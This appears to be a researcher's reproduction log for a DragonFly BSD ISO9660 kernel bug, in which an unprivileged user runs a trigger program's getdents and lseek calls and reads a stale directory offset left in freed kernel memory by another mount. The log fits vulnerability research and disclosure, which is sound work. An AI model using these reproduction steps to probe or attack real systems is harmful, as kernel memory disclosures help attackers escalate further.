DF-3147 baseline run — stock kernel DragonFly dfbsd 6.5-DEVELOPMENT #0,
2026-09-07. Mounts by root (setup); all probes run as nobody.

Images: df3146_none.iso (dir A: . .. Z Y, walk ends at offset 338),
df3147_big.iso (dir B: . .. + 20 "Y" entries, walk ends at offset 1670).

$ vnconfig -c -S 2048 /dev/vn0 /root/df3146_none.iso
$ vnconfig -c -S 2048 /dev/vn1 /root/df3147_big.iso
$ mount_cd9660 /dev/vn0 /mnt/a
$ mount_cd9660 /dev/vn1 /mnt/b

--- full read of /mnt/b as nobody (leaves uio_off=1670 in the freed idp):
$ su -m nobody -c "/tmp/trigger2 dirent /mnt/b"   (tail)
ino=67132 namlen=1 type=0 : namelen=1 name hex: 59
getdents rc=0 errno=0

--- fresh process, 8-byte getdents on /mnt/a (its own end offset is 338):
$ su -m nobody -c "/tmp/trigger2 tinyseek /mnt/a"
getdents(8) rc=0 ; lseek(SEEK_CUR) = 0x686 (1670) errno=0
$ su -m nobody -c "/tmp/trigger2 tinyseek /mnt/a"
getdents(8) rc=0 ; lseek(SEEK_CUR) = 0x686 (1670) errno=0

=> lseek discloses 1670 — the stale uio_off of the unrelated isoreaddir
   that walked /mnt/b (different filesystem, different device). Not a
   legitimate offset for /mnt/a. Cross-object kernel-heap disclosure.

--- follow-up read from the garbage offset (doubletiny):
$ su -m nobody -c "/tmp/trigger2 doubletiny /mnt/a"
1st getdents(8) rc=0 ; lseek(SEEK_CUR)=0x686 (1670)
2nd getdents(4096) rc=0 errno=0 ; lseek(SEEK_CUR)=0x686 (1670)
(the second getdents continues the walk from the uninitialized value;
  benign here since 1670 < i_size=2048 lands in zero padding)